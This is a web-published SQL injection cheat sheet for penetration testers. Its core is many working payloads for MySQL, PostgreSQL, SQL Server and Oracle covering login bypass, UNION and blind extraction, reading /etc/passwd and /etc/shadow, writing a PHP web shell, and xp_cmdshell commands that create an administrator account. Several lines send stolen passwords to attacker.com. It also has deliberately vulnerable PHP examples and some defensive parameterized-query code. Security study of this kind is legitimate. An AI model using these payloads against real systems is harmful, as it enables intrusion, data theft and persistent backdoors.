SQL Injection Cheat Sheet

SQL Injection (SQLi) is one of the oldest yet most effective vulnerabilities in web application security. It occurs when user input is directly inserted into SQL queries without proper validation or sanitization, allowing attackers to manipulate the database — from bypassing logins to dumping sensitive data or even gaining full control of the backend.

This SQL Injection Cheat Sheet is designed for ethical hackers, penetration testers, and bug bounty hunters. It provides a quick reference to practical payloads, error-based and blind SQLi techniques, WAF bypass methods, and advanced exploitation tricks — all in one place for efficient testing and learning.

What is SQL Injection?

SQL Injection represents one of the most critical security vulnerabilities in modern web applications, consistently ranking within the OWASP Top 10 security risks. This sophisticated attack technique involves injecting malicious SQL code into application databases through vulnerable input fields, potentially compromising entire systems and exposing sensitive data to unauthorized access.

Technical Definition

SQL Injection is a code injection technique that exploits security vulnerabilities in database-driven applications. Attackers leverage improperly validated user inputs to inject malicious SQL statements into application queries, enabling them to:

Bypass authentication mechanisms
Extract sensitive database information
Modify or delete critical data
Execute administrative operations
Gain unauthorized system access

Root Causes of SQL Injection Vulnerabilities

The fundamental causes of SQL injection vulnerabilities include:

Insufficient Input Validation: Applications fail to properly validate and sanitize user inputs
Dynamic Query Construction: SQL queries built using string concatenation with user input
Inadequate Error Handling: Database errors exposed to end users reveal system information
Excessive Database Privileges: Application database users granted unnecessary permissions
Lack of Security Awareness: Developers insufficient training in secure coding practices

Business Impact Assessment

Organizations face severe consequences when SQL injection vulnerabilities are exploited:

Financial Implications:

Direct monetary losses from data breaches
Regulatory fines and legal penalties
Business continuity disruption costs
Brand reputation damage and customer loss

Operational Consequences:

System downtime and service interruptions
Data integrity compromise
Unauthorized access to proprietary information
Compliance violations and audit failures

SQL Injection Attack Types

1. In-Band SQL Injection

In-band SQL injection represents the most common attack vector where attackers use the same communication channel for both launching attacks and gathering results.

Error-Based SQL Injection

Error-based attacks exploit database error messages to extract information about the underlying database structure.

Attack Methodology:

SQL Injection Example

— Vulnerable Query

SELECT * FROM users WHERE id = ‘$user_id’

— Malicious Input

1′ AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0 —

— Resulting Query

SELECT * FROM users WHERE id = ‘1’ AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0 –‘

Union-Based SQL Injection

Union-based attacks leverage the SQL UNION operator to combine results from multiple SELECT statements.

Technical Implementation:

SQL Union Based Injection

— Column Number Detection

1′ UNION SELECT NULL —

1′ UNION SELECT NULL,NULL —

1′ UNION SELECT NULL,NULL,NULL —

— Data Extraction

1′ UNION SELECT username,password,email FROM users —

1′ UNION SELECT table_name,column_name,data_type FROM information_schema.columns —

2. Inferential SQL Injection (Blind)

Blind SQL injection attacks occur when applications are vulnerable but do not display database errors or data directly to attackers.

Boolean-Based Blind SQL Injection

Attackers infer information based on application responses to true/false conditions.

Attack Pattern:

SQL Boolean Based Injection

— True Condition Test

1′ AND (SELECT COUNT(*) FROM users) > 0 —

— False Condition Test

1′ AND (SELECT COUNT(*) FROM users) = 0 —

— Character-by-Character Extraction

1′ AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1) = ‘a’ —

Time-Based Blind SQL Injection

Time-based attacks measure application response times to infer database information.

Implementation Examples:

SQL Time Based Injection

— MySQL Time Delay

1′ AND (SELECT SLEEP(10)) —

— PostgreSQL Time Delay

1′ AND (SELECT pg_sleep(10)) —

— SQL Server Time Delay

1′; WAITFOR DELAY ’00:00:10′ —

— Oracle Time Delay

1′ AND (SELECT dbms_lock.sleep(10) FROM dual) —

3. Out-of-Band SQL Injection

Out-of-band attacks use alternative communication channels to extract data when in-band methods are not viable.

DNS Exfiltration Example:

SQL Out-of-Band Injection

— DNS-based Data Extraction

1′ AND (SELECT load_file(concat(‘\\\\\\\\’, (SELECT password FROM users WHERE id=1), ‘.attacker.com\\\\share’))) —

— HTTP-based Data Extraction

1′ AND (SELECT load_file(concat(‘http://attacker.com/collect.php?data=’, (SELECT password FROM users WHERE id=1)))) —

SQL Injection Examples

Example 1: Authentication Bypass

Vulnerable Authentication System:

PHP Vulnerable Authentication Code

// Vulnerable PHP Authentication

$username = $_POST[‘username’];

$password = $_POST[‘password’];

$query = “SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘”;

$result = mysqli_query($connection, $query);

if (mysqli_num_rows($result) > 0) {

echo “Login successful”;

} else {

echo “Invalid credentials”;

}

Attack Execution:

SQL Injection Attack Demonstration

— Attack Input

Username: admin’ OR ‘1’=’1′ —

Password: [anything]

— Resulting Query

SELECT * FROM users WHERE username = ‘admin’ OR ‘1’=‘1’ –‘ AND password = ‘[anything]’

— Query Evaluation

— The condition ‘1’=’1′ is always true, bypassing authentication

Example 2: Data Extraction Attack

Vulnerable Search Function:

PHP Vulnerable Product Search

// Vulnerable Product Search

$search_term = $_GET[‘search’];

$query = “SELECT * FROM products WHERE name LIKE ‘%$search_term%'”;

$result = mysqli_query($connection, $query);

Attack Implementation:

Search Attack Payload Demonstration

— Attack Payload

search=‘ UNION SELECT table_name,column_name,data_type FROM information_schema.columns —

— Resulting Query

SELECT * FROM products WHERE name LIKE ‘%’ UNION SELECT table_name,column_name,data_type FROM information_schema.columns –%’

— Attack Outcome

— Reveals complete database structure information

Example 3: Privilege Escalation

Vulnerable Administrative Function:

PHP Vulnerable User Management

// Vulnerable User Management

$user_id = $_GET[‘id’];

$query = “SELECT * FROM users WHERE id = $user_id“;

$result = mysqli_query($connection, $query);

Attack Sequence:

Multi-Stage SQL Injection Attack

— Stage 1: Information Gathering

id=1 UNION SELECT username,password,role FROM users WHERE role=‘admin’ —

— Stage 2: Privilege Escalation

id=1; UPDATE users SET role=‘admin’ WHERE username=‘attacker’ —

— Stage 3: System Access

id=1; INSERT INTO users (username,password,role) VALUES (‘backdoor’,‘hash’,‘admin’) —

Example 4: File System Manipulation

Advanced File Operations:

SQL Injection File Operations

— Reading System Files

1‘ UNION SELECT LOAD_FILE(‘/etc/passwd’) —

— Writing Web Shell

1‘ UNION SELECT ‘<?php system($_GET[“cmd”]); ?>’ INTO OUTFILE ‘/var/www/html/shell.php’;

SELECT username,password FROM users INTO OUTFILE ‘/tmp/users.txt’;

— Using DUMPFILE for binary data

SELECT 0x3c3f70687020706870696e666f28293b203f3e INTO DUMPFILE ‘/var/www/html/info.php’;

MySQL-Specific Functions

SQL Injection Useful Functions

— String manipulation

SELECT SUBSTRING(‘password’, 1, 4);

SELECT MID(‘password’, 1, 4);

SELECT LEFT(‘password’, 4);

SELECT RIGHT(‘password’, 4);

SELECT CONCAT(‘user’, ‘:’, ‘pass’);

SELECT GROUP_CONCAT(username SEPARATOR ‘:’);

— Mathematical functions

SELECT ASCII(‘A’);

SELECT CHAR(65);

SELECT HEX(‘admin’);

SELECT UNHEX(‘61646d696e’);

SELECT BIN(255);

SELECT OCT(255);

— Conditional functions

SELECT IF(1=1, ‘true’, ‘false’);

SELECT CASE WHEN 1=1 THEN ‘true’ ELSE ‘false’ END;

SELECT NULLIF(1, 1);

SELECT COALESCE(NULL, ‘default’);

— Time functions

SELECT NOW();

SELECT SLEEP(5);

SELECT BENCHMARK(1000000, MD5(‘test’));

2. PostgreSQL-Specific Techniques

PostgreSQL System Information

PostgreSQL Enumeration Functions

— Version and system information

SELECT version();

SELECT current_database();

SELECT current_user;

SELECT session_user;

SELECT user;

SELECT current_schema();

SELECT inet_server_addr();

SELECT inet_server_port();

SELECT pg_backend_pid();

— Database enumeration

SELECT datname FROM pg_database;

SELECT schemaname FROM pg_tables;

SELECT tablename FROM pg_tables WHERE schemaname = ‘public’;

SELECT column_name FROM information_schema.columns WHERE table_name = ‘users’;

PostgreSQL File Operations

PostgreSQL File Operations

— Reading files (requires superuser)

SELECT pg_read_file(‘/etc/passwd’);

SELECT pg_read_file(‘pg_hba.conf’);

SELECT pg_read_binary_file(‘/etc/shadow’);

— Directory listing

SELECT pg_ls_dir(‘/tmp’);

SELECT pg_ls_dir(‘/var/log’);

— File statistics

SELECT pg_stat_file(‘/etc/passwd’);

PostgreSQL-Specific Functions

PostgreSQL String & Utility Functions

— String functions

SELECT substring(‘password’, 1, 4);

SELECT position(‘pass’ in ‘password’);

SELECT split_part(‘user:pass’, ‘:’, 1);

SELECT regexp_replace(‘password’, ‘pass’, ‘word’);

— Conversion functions

SELECT ascii(‘A’);

SELECT chr(65);

SELECT encode(‘admin’, ‘hex’);

SELECT decode(‘61646d696e’, ‘hex’);

SELECT encode(‘admin’, ‘base64’);

SELECT decode(‘YWRtaW4=’, ‘base64’);

— Array functions

SELECT array_to_string(array[‘user’, ‘pass’], ‘:’);

SELECT string_to_array(‘user:pass’, ‘:’);

— Time functions

SELECT now();

SELECT pg_sleep(5);

SELECT extract(epoch from now());

3. SQL Server-Specific Techniques

SQL Server System Information

SQL Server Enumeration Functions

— Version and system information

SELECT @@version;

SELECT @@servername;

SELECT @@servicename;

SELECT db_name();

SELECT user_name();

SELECT system_user;

SELECT suser_name();

SELECT host_name();

SELECT @@language;

— Database enumeration

SELECT name FROM master.dbo.sysdatabases;

SELECT name FROM sys.databases;

SELECT name FROM sysobjects WHERE xtype = ‘U’;

SELECT name FROM sys.tables;

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘users’);

SQL Server Extended Stored Procedures

SQL Server System Operations

— Command execution

EXEC xp_cmdshell ‘dir C:\’;

EXEC xp_cmdshell ‘net user hacker password123 /add’;

EXEC xp_cmdshell ‘net localgroup administrators hacker /add’;

— Registry operations

EXEC xp_regread ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows NT\CurrentVersion’, ‘ProductName’;

EXEC xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows NT\CurrentVersion’, ‘TestValue’, ‘REG_SZ’, ‘TestData’;

— File operations

EXEC xp_dirtree ‘C:\’, 1, 1;

EXEC xp_fileexist ‘C:\Windows\System32\cmd.exe’;

— Network operations

EXEC xp_getnetname;

EXEC xp_servicecontrol ‘start’, ‘schedule’;

SQL Server-Specific Functions

SQL Server String & Utility Functions

— String functions

SELECT SUBSTRING(‘password’, 1, 4);

SELECT CHARINDEX(‘pass’, ‘password’);

SELECT LEFT(‘password’, 4);

SELECT RIGHT(‘password’, 4);

SELECT REVERSE(‘password’);

SELECT STUFF(‘password’, 1, 4, ‘word’);

— Conversion functions

SELECT ASCII(‘A’);

SELECT CHAR(65);

SELECT CONVERT(varbinary, ‘admin’);

SELECT CAST(‘admin’ AS varbinary);

— Time functions

SELECT GETDATE();

SELECT WAITFOR DELAY ’00:00:05′;

SELECT DATEDIFF(second, ‘1970-01-01’, GETDATE());

4. Oracle-Specific Techniques

Oracle System Information

Oracle Enumeration Functions

— Version and system information

SELECT banner FROM v$version;

SELECT user FROM dual;

SELECT sys_context(‘userenv’, ‘current_user’) FROM dual;

SELECT sys_context(‘userenv’, ‘session_user’) FROM dual;

SELECT sys_context(‘userenv’, ‘database_name’) FROM dual;

SELECT sys_context(‘userenv’, ‘server_host’) FROM dual;

— Database enumeration

SELECT table_name FROM all_tables;

SELECT table_name FROM user_tables;

SELECT column_name FROM all_tab_columns WHERE table_name = ‘USERS’;

SELECT owner, table_name FROM all_tables WHERE owner = ‘HR’;

Oracle PL/SQL Injection

Oracle PL/SQL Advanced Operations

— Dynamic SQL execution

BEGIN

EXECUTE IMMEDIATE ‘GRANT DBA TO PUBLIC’;

END;

— Cursor manipulation

DECLARE

c SYS_REFCURSOR;

output VARCHAR2(4000);

BEGIN

OPEN c FOR ‘SELECT password FROM users WHERE username = ”admin”’;

FETCH c INTO output;

DBMS_OUTPUT.PUT_LINE(output);

END;

— Exception handling exploitation

BEGIN

SELECT password INTO :output FROM users WHERE username = ‘admin’;

EXCEPTION

WHEN NO_DATA_FOUND THEN

SELECT ‘No data found’ INTO :output FROM dual;

END;

Oracle-Specific Functions

Oracle String & Utility Functions

— String functions

SELECT SUBSTR(‘password’, 1, 4) FROM dual;

SELECT INSTR(‘password’, ‘pass’) FROM dual;

SELECT LENGTH(‘password’) FROM dual;

SELECT UPPER(‘password’) FROM dual;

SELECT LOWER(‘PASSWORD’) FROM dual;

SELECT CONCAT(‘user’, ‘pass’) FROM dual;

— Conversion functions

SELECT ASCII(‘A’) FROM dual;

SELECT CHR(65) FROM dual;

SELECT RAWTOHEX(‘admin’) FROM dual;

SELECT HEXTORAW(‘61646d696e’) FROM dual;

SELECT UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW(‘admin’))) FROM dual;

— Date/time functions

SELECT SYSDATE FROM dual;

SELECT SYSTIMESTAMP FROM dual;

SELECT EXTRACT(YEAR FROM SYSDATE) FROM dual;

Real-World Case Studies

Case Study 1: Heartland Payment Systems (2008)

Attack Overview

Target: Heartland Payment Systems
Impact: 130 million payment card records compromised
Financial Loss: Over $200 million
Attack Vector: SQL injection vulnerability in web application
Duration: 2007-2008 (undetected for months)

Technical Analysis

SQL Injection Attack Scenario

— Initial vulnerability exploitation

— Vulnerable web application parameter

GET /search.php?product_id=1

— SQL injection payload

GET /search.php?product_id=1′ UNION SELECT @@version,database(),user()–

— Database enumeration

GET /search.php?product_id=1′ UNION SELECT table_name FROM information_schema.tables–

— Sensitive data extraction

GET /search.php?product_id=1′ UNION SELECT card_number,expiry_date,cvv FROM payment_cards–

Attack Progression

Initial Access: SQL injection in customer-facing web application
Reconnaissance: Database structure enumeration
Privilege Escalation: Exploiting database user permissions
Lateral Movement: Accessing internal network segments
Data Exfiltration: Systematic extraction of payment card data
Persistence: Installing malware for continued access

Lessons Learned

Implement comprehensive input validation
Use parameterized queries exclusively
Deploy database activity monitoring
Segment network architecture
Establish incident response procedures

Case Study 2: Sony Pictures Entertainment (2011)

Attack Overview

Target: Sony Pictures Entertainment
Impact: 1 million user accounts compromised
Data Exposed: Personal information, passwords, email addresses
Root Cause: Multiple SQL injection vulnerabilities
Public Disclosure: High-profile media coverage

Technical Details

Authentication Bypass Attack Scenario

— Vulnerable login mechanism

SELECT user_id, username, password FROM users WHERE username = ‘$username’ AND password = ‘$password’

— Authentication bypass payload

username: admin’ OR ‘1’=’1′ —

password: [anything]

— Resulting query

SELECT user_id, username, password FROM users WHERE username = ‘admin’ OR ‘1’=‘1’ –‘ AND password = ‘[anything]’

— Data extraction payload

username: ‘ UNION SELECT username,password,email FROM users–

password: [anything]

Security Failures

Unvalidated user input in authentication system
Weak password hashing (plaintext storage)
Insufficient database access controls
Lack of intrusion detection systems
Inadequate security testing procedures

Remediation Measures

Secure Authentication Implementation

// Secure authentication implementation

class SecureAuthentication {

private $pdo;

public function authenticateUser($username, $password) {

// Input validation

if (!$this->validateInput($username, $password)) {

return false;

}

// Parameterized query

$stmt = $this->pdo->prepare(“SELECT user_id, username, password_hash FROM users WHERE username = ? AND active = 1”);

$stmt->execute([$username]);

$user = $stmt->fetch();

if ($user && password_verify($password, $user[‘password_hash’])) {

return $user;

}

return false;

}

private function validateInput($username, $password) {

// Length validation

if (strlen($username) > 50 || strlen($password) > 100) {

return false;

}

// Character validation

if (!preg_match(‘/^[a-zA-Z0-9_-]+$/’, $username)) {

return false;

}

return true;

}

Case Study 3: TalkTalk (2015)

Attack Overview

Target: TalkTalk (UK telecommunications company)
Impact: 4 million customer records at risk
Data Compromised: Names, addresses, phone numbers, bank details
Attack Method: SQL injection through website contact form
Regulatory Fine: £400,000 by Information Commissioner’s Office

Technical Analysis

Contact Form SQL Injection Attack

— Vulnerable contact form processing

INSERT INTO contact_messages (name, email, message) VALUES (‘$name’, ‘$email’, ‘$message’)

— SQL injection payload in message field

message: ‘; DROP TABLE users; —

— Data extraction payload

message: ‘; SELECT name,email,phone FROM customers; —

— Union-based extraction

message: test’ UNION SELECT customer_id,bank_account,sort_code FROM financial_data–

Attack Timeline

Reconnaissance: Automated scanning of web application
Vulnerability Discovery: SQL injection in contact form
Exploitation: Systematic database enumeration
Data Extraction: Customer and financial data theft
Public Disclosure: Company announcement of breach
Regulatory Investigation: ICO investigation and fine

Prevention Strategies

Secure Contact Form Implementation

# Secure contact form implementation

class SecureContactForm:

def __init__(self, db_connection):

self.db = db_connection

def process_contact_form(self, name, email, message):

# Input validation

if not self.validate_inputs(name, email, message):

raise ValueError(“Invalid input data”)

# Sanitization

name = self.sanitize_input(name)

email = self.sanitize_input(email)

message = self.sanitize_input(message)

# Parameterized query

cursor = self.db.cursor()

cursor.execute(

“INSERT INTO contact_messages (name, email, message, created_at) VALUES (?, ?, ?, ?)”,

(name, email, message, datetime.now())

)

self.db.commit()

return cursor.lastrowid

def validate_inputs(self, name, email, message):

# Length validation

if len(name) > 100 or len(email) > 200 or len(message) > 2000:

return False

# Email validation

if not re.match(r’^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$’, email):

return False

# Character validation

for field in [name, message]:

if any(char in field for char in “‘;\”\\<>“):

return False

return True

def sanitize_input(self, input_string):

# Remove dangerous characters

dangerous_chars = “‘;\”\\<>{}[]”

for char in dangerous_chars:

input_string = input_string.replace(char, “”)

return input_string.strip()

SQL Injection Cheat Sheet

MySQL SQL Injection Reference

System Information Extraction

SQL Injection Information Gathering

— Database Version

‘ UNION SELECT @@version —

‘ UNION SELECT version() —

— Current Database

‘ UNION SELECT database() —

— Current User

‘ UNION SELECT user() —

‘ UNION SELECT current_user() —

— System User

‘ UNION SELECT system_user() —

— Database List

‘ UNION SELECT schema_name FROM information_schema.schemata —

— Table Enumeration

‘ UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() —

— Column Discovery

‘ UNION SELECT column_name FROM information_schema.columns WHERE table_name=’users’ —

Advanced Data Extraction

SQL Injection Data Extraction & Manipulation

— String Concatenation

‘ UNION SELECT CONCAT(username,’:’,password) FROM users —

— Conditional Data Extraction

‘ UNION SELECT IF(1=1, ‘true’, ‘false’) —

— Hexadecimal Conversion

‘ UNION SELECT HEX(password) FROM users —

— Base64 Encoding

‘ UNION SELECT TO_BASE64(sensitive_data) FROM confidential —

— Character Extraction

‘ UNION SELECT SUBSTRING(password,1,1) FROM users WHERE id=1 —

File System Operations

SQL Injection File Operations & System Interaction

— File Reading

‘ UNION SELECT LOAD_FILE(‘/etc/passwd’) —

‘ UNION SELECT LOAD_FILE(‘C:\\Windows\\System32\\drivers\\etc\\hosts’) —

— File Writing

‘ UNION SELECT ‘malicious_content’ INTO OUTFILE ‘/tmp/test.txt’ —

‘ UNION SELECT ‘<?php phpinfo(); ?>‘ INTO OUTFILE ‘/var/www/html/info.php’ —

— Directory Listing (MySQL UDF)

‘ UNION SELECT sys_eval(‘ls -la /tmp’) —

PostgreSQL SQL Injection Reference

System Information

PostgreSQL SQL Injection Payloads

— Version Information

‘ UNION SELECT version() —

— Current Database

‘ UNION SELECT current_database() —

— Current User

‘ UNION SELECT current_user —

— Database List

‘ UNION SELECT datname FROM pg_database —

— Table Enumeration

‘ UNION SELECT tablename FROM pg_tables —

— Column Discovery

‘ UNION SELECT column_name FROM information_schema.columns WHERE table_name=‘users’ —

Advanced PostgreSQL Techniques

PostgreSQL Advanced Exploitation Payloads

— Function Execution

‘ UNION SELECT pg_read_file(‘/etc/passwd’) —

— Command Execution (with appropriate privileges)

‘ UNION SELECT pg_ls_dir(‘/tmp’) —

— Time-based Attacks

‘ UNION SELECT pg_sleep(10) —

— Large Object Manipulation

‘ UNION SELECT lo_import(‘/etc/passwd’) —

SQL Server SQL Injection Reference

System Information

SQL Server (MSSQL) SQL Injection Payloads

— Version Information

‘ UNION SELECT @@version —

— Current Database

‘ UNION SELECT db_name() —

— Current User

‘ UNION SELECT system_user —

‘ UNION SELECT user_name() —

— Database List

‘ UNION SELECT name FROM master.dbo.sysdatabases —

— Table Enumeration

‘ UNION SELECT name FROM sysobjects WHERE xtype=‘U’ —

— Column Discovery

‘ UNION SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=‘users’) —

Advanced SQL Server Techniques

SQL Server Advanced Exploitation Payloads

— Extended Stored Procedures

‘ UNION SELECT null; EXEC xp_cmdshell(‘dir’) —

— Registry Operations

‘ UNION SELECT null; EXEC xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion’,‘ProductName’ —

— File System Access

‘ UNION SELECT null; EXEC xp_dirtree ‘C:\\’ —

— Service Operations

‘ UNION SELECT null; EXEC xp_servicecontrol ‘start’,‘schedule’ —

Oracle SQL Injection Reference

System Information

Oracle SQL Injection Payloads

— Version Information

‘ UNION SELECT banner FROM v$version —

— Current Database

‘ UNION SELECT ora_database_name FROM dual —

— Current User

‘ UNION SELECT user FROM dual —

— Table Enumeration

‘ UNION SELECT table_name FROM user_tables —

— Column Discovery

‘ UNION SELECT column_name FROM user_tab_columns WHERE table_name=‘USERS’ —

Advanced Oracle Techniques

Oracle Advanced Exploitation Payloads

— PL/SQL Execution

‘; BEGIN EXECUTE IMMEDIATE ‘GRANT DBA TO PUBLIC’; END; —

— File Operations

‘ UNION SELECT utl_file.get_line(‘DIRECTORY’,‘filename’) FROM dual —

— HTTP Requests

‘ UNION SELECT utl_http.request(‘http://attacker.com/collect.php?data=’||password) FROM users —

— XML Processing

‘ UNION SELECT extractvalue(xmltype(‘<?xml version=”1.0″?><!DOCTYPE root [<!ENTITY % remote SYSTEM “http://attacker.com/evil.dtd”> %remote;]>’),’/root’) FROM dual —

SQL Injection Prevention

1. Parameterized Queries Implementation

Parameterized queries represent the most effective defense against SQL injection attacks by separating SQL code from user data.

PHP Implementation with PDO

Secure Database Implementation

class SecureDatabase {

private $pdo;

public function __construct($dsn, $username, $password) {

try {

$this->pdo = new PDO($dsn, $username, $password, [

PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,

PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,

PDO::ATTR_EMULATE_PREPARES => false,

PDO::ATTR_STRINGIFY_FETCHES => false

]);

} catch (PDOException $e) {

throw new Exception(“Database connection failed: “ . $e->getMessage());

}

public function authenticateUser($username, $password) {

$stmt = $this->pdo->prepare(“SELECT id, username, password_hash, role FROM users WHERE username = ? AND active = 1”);

$stmt->execute([$username]);

$user = $stmt->fetch();

if ($user && password_verify($password, $user[‘password_hash’])) {

return $user;

}

return false;

}

public function searchProducts($keyword, $category, $limit = 10) {

$stmt = $this->pdo->prepare(“

SELECT id, name, description, price

FROM products

WHERE name LIKE ? AND category = ?

ORDER BY name

LIMIT ?

“);

$stmt->execute([

‘%’ . $keyword . ‘%’,

$category,

$limit

]);

return $stmt->fetchAll();

}

Java Implementation with PreparedStatement

Java Secure Database Access Implementation

public class SecureDatabaseAccess {

private Connection connection;

public SecureDatabaseAccess(String url, String username, String password)

throws SQLException {

this.connection = DriverManager.getConnection(url, username, password);

}

public User authenticateUser(String username, String password)

throws SQLException {

String sql = “SELECT id, username, password_hash, role FROM users WHERE username = ? AND active = 1”;

try (PreparedStatement stmt = connection.prepareStatement(sql)) {

stmt.setString(1, username);

try (ResultSet rs = stmt.executeQuery()) {

if (rs.next()) {

User user = new User();

user.setId(rs.getInt(“id”));

user.setUsername(rs.getString(“username”));

user.setPasswordHash(rs.getString(“password_hash”));

user.setRole(rs.getString(“role”));

// Verify password using secure hashing

if (BCrypt.checkpw(password, user.getPasswordHash())) {

return user;

}

return null;

}

public List<Product> searchProducts(String keyword, String category, int limit)

throws SQLException {

String sql = “SELECT id, name, description, price FROM products WHERE name LIKE ? AND category = ? ORDER BY name LIMIT ?”;

try (PreparedStatement stmt = connection.prepareStatement(sql)) {

stmt.setString(1, “%” + keyword + “%”);

stmt.setString(2, category);

stmt.setInt(3, limit);

try (ResultSet rs = stmt.executeQuery()) {

List<Product> products = new ArrayList<>();

while (rs.next()) {

Product product = new Product();

product.setId(rs.getInt(“id”));

product.setName(rs.getString(“name”));

product.setDescription(rs.getString(“description”));

product.setPrice(rs.getBigDecimal(“price”));

products.add(product);

}

return products;

}

Python Implementation with SQLAlchemy

Python SQLAlchemy Secure Database Implementation

from sqlalchemy import create_engine, text

from sqlalchemy.orm import sessionmaker

from werkzeug.security import check_password_hash

import logging

class SecureDatabase:

def __init__(self, connection_string):

self.engine = create_engine(

connection_string,

echo=False,

pool_pre_ping=True,

pool_recycle=3600

)

self.Session = sessionmaker(bind=self.engine)

def authenticate_user(self, username, password):

“””Secure user authentication with parameterized queries”””

session = self.Session()

try:

# Use parameterized query to prevent SQL injection

query = text(“SELECT id, username, password_hash, role FROM users WHERE username = :username AND active = 1”)

result = session.execute(query, {“username”: username})

user = result.fetchone()

if user and check_password_hash(user.password_hash, password):

return {

‘id’: user.id,

‘username’: user.username,

‘role’: user.role

}

return None

except Exception as e:

logging.error(f”Authentication error: {e}”)

return None

finally:

session.close()

def search_products(self, keyword, category, limit=10):

“””Secure product search with input validation”””

session = self.Session()

try:

# Validate input parameters

if not isinstance(limit, int) or limit <= 0 or limit > 100:

limit = 10

query = text(“””

SELECT id, name, description, price

FROM products

WHERE name LIKE :keyword AND category = :category

ORDER BY name

LIMIT :limit

“””)

result = session.execute(query, {

“keyword”: f”%{keyword}%”,

“category”: category,

“limit”: limit

})

return [dict(row) for row in result.fetchall()]

except Exception as e:

logging.error(f”Search error: {e}”)

return []

finally:

session.close()

2. Input Validation and Sanitization

Comprehensive input validation serves as a critical defense layer against SQL injection attacks.

Advanced Input Validation Framework

PHP Secure Input Validator Implementation

<?php

class InputValidator {

private static $patterns = [

‘id’ => ‘/^[1-9]\d*$/’,

‘username’ => ‘/^[a-zA-Z0-9_-]{3,20}$/’,

’email’ => ‘/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/’,

‘alphanumeric’ => ‘/^[a-zA-Z0-9\s]+$/’,

‘safe_string’ => ‘/^[a-zA-Z0-9\s\-_.,!?]+$/’

];

private static $sql_keywords = [

‘SELECT’, ‘INSERT’, ‘UPDATE’, ‘DELETE’, ‘DROP’, ‘CREATE’, ‘ALTER’,

‘UNION’, ‘OR’, ‘AND’, ‘WHERE’, ‘FROM’, ‘INTO’, ‘VALUES’, ‘SET’,

‘EXEC’, ‘EXECUTE’, ‘SCRIPT’, ‘DECLARE’, ‘CAST’, ‘CONVERT’

];

public static function validateInput($input, $type, $maxLength = null) {

// Null and empty checks

if ($input === null || $input === ”) {

throw new InvalidArgumentException(“Input cannot be null or empty”);

}

// Length validation

if ($maxLength && strlen($input) > $maxLength) {

throw new InvalidArgumentException(“Input exceeds maximum length”);

}

// Pattern validation

if (isset(self::$patterns[$type])) {

if (!preg_match(self::$patterns[$type], $input)) {

throw new InvalidArgumentException(“Invalid input format for type: $type”);

}

// SQL injection detection

$upperInput = strtoupper($input);

foreach (self::$sql_keywords as $keyword) {

if (strpos($upperInput, $keyword) !== false) {

throw new SecurityException(“Potential SQL injection detected”);

}

return htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’);

}

// Example usage with error handling

try {

$userId = InputValidator::validateInput($_GET[‘user_id’] ?? ”, ‘id’);

if (!$userId) {

http_response_code(400);

exit(‘Invalid user ID’);

}

// Check rate limit

$clientIP = $_SERVER[‘REMOTE_ADDR’] ?? ”;

if (!RateLimiter::checkLimit($clientIP)) {

http_response_code(429);

exit(‘Too many requests’);

}

// Proceed with secure database operations

echo htmlspecialchars(“User ID: $userId”, ENT_QUOTES, ‘UTF-8’);

} catch (Exception $e) {

error_log(“Application error: “ . $e->getMessage());

http_response_code(500);

exit(‘Internal server error’);

}

SQL Injection Payloads

Authentication Bypass Payloads

Universal Authentication Bypass

Advanced SQL Injection Patterns Database

— Basic OR-based bypass

‘ OR ‘1’=’1

‘ OR 1=1 —

‘ OR ‘a’=’a

‘ OR ”=’

admin’ —

admin’/*

‘ OR 1=1#

‘ OR 1=1;%00

‘ OR 1=1 LIMIT 1 —

‘ OR 1=1 ORDER BY 1 —

— Advanced bypass techniques

‘) OR ‘1’=’1

‘) OR (‘1’=’1

‘)) OR ((‘1’=’1

‘))) OR (((‘1’=’1

‘ OR ‘1’=’1′ —

‘ OR ‘1’=’1′ /*

‘ OR ‘1’=’1′ #

‘ OR ‘1’=’1′;%00

— Null byte injection

admin’%00

admin’%00–

‘ OR 1=1%00

‘ OR 1=1;%00

— Boolean-based bypass

‘ OR 1=1 AND ‘1’=’1

‘ OR 1=1 AND 1=1 —

‘ OR ‘admin’=’admin

‘ OR true —

‘ OR 1 —

‘ OR 1=1 UNION SELECT 1 —

— Time-based bypass

‘ OR SLEEP(1) —

‘ OR pg_sleep(1) —

‘; WAITFOR DELAY ’00:00:01’ —

‘ OR BENCHMARK(1000000,MD5(1)) —

Database-Specific Bypass Payloads

Database-Specific SQL Injection Patterns

— MySQL-specific

‘ OR 1=1 LIMIT 1 —

‘ OR ‘1’=’1′ LIMIT 1 —

admin’ OR ‘1’=’1′ LIMIT 1 —

‘ OR 1=1 INTO OUTFILE ‘/tmp/test.txt’ —

‘ OR 1=1 UNION SELECT @@version —

— PostgreSQL-specific

‘ OR 1=1 LIMIT 1 —

‘ OR ‘1’=’1′ LIMIT 1 —

‘ OR 1=1 OFFSET 0 —

‘ OR 1=1 AND 1=1 —

‘ OR current_user=’admin’ —

— SQL Server-specific

‘ OR 1=1 —

‘ OR ‘1’=’1′ —

admin’ OR ‘1’=’1′ —

‘ OR 1=1; —

‘ OR 1=1 SELECT @@version —

— Oracle-specific

‘ OR ‘1’=’1

‘ OR 1=1 —

‘ OR ‘admin’=’admin

‘ OR 1=1 AND ROWNUM=1 —

‘ OR 1=1 UNION SELECT null FROM dual —

Data Extraction Payloads

Information Schema Exploitation

🔍 SQL Information Gathering & Enumeration Patterns

— Database enumeration

‘ UNION SELECT schema_name,null,null FROM information_schema.schemata —

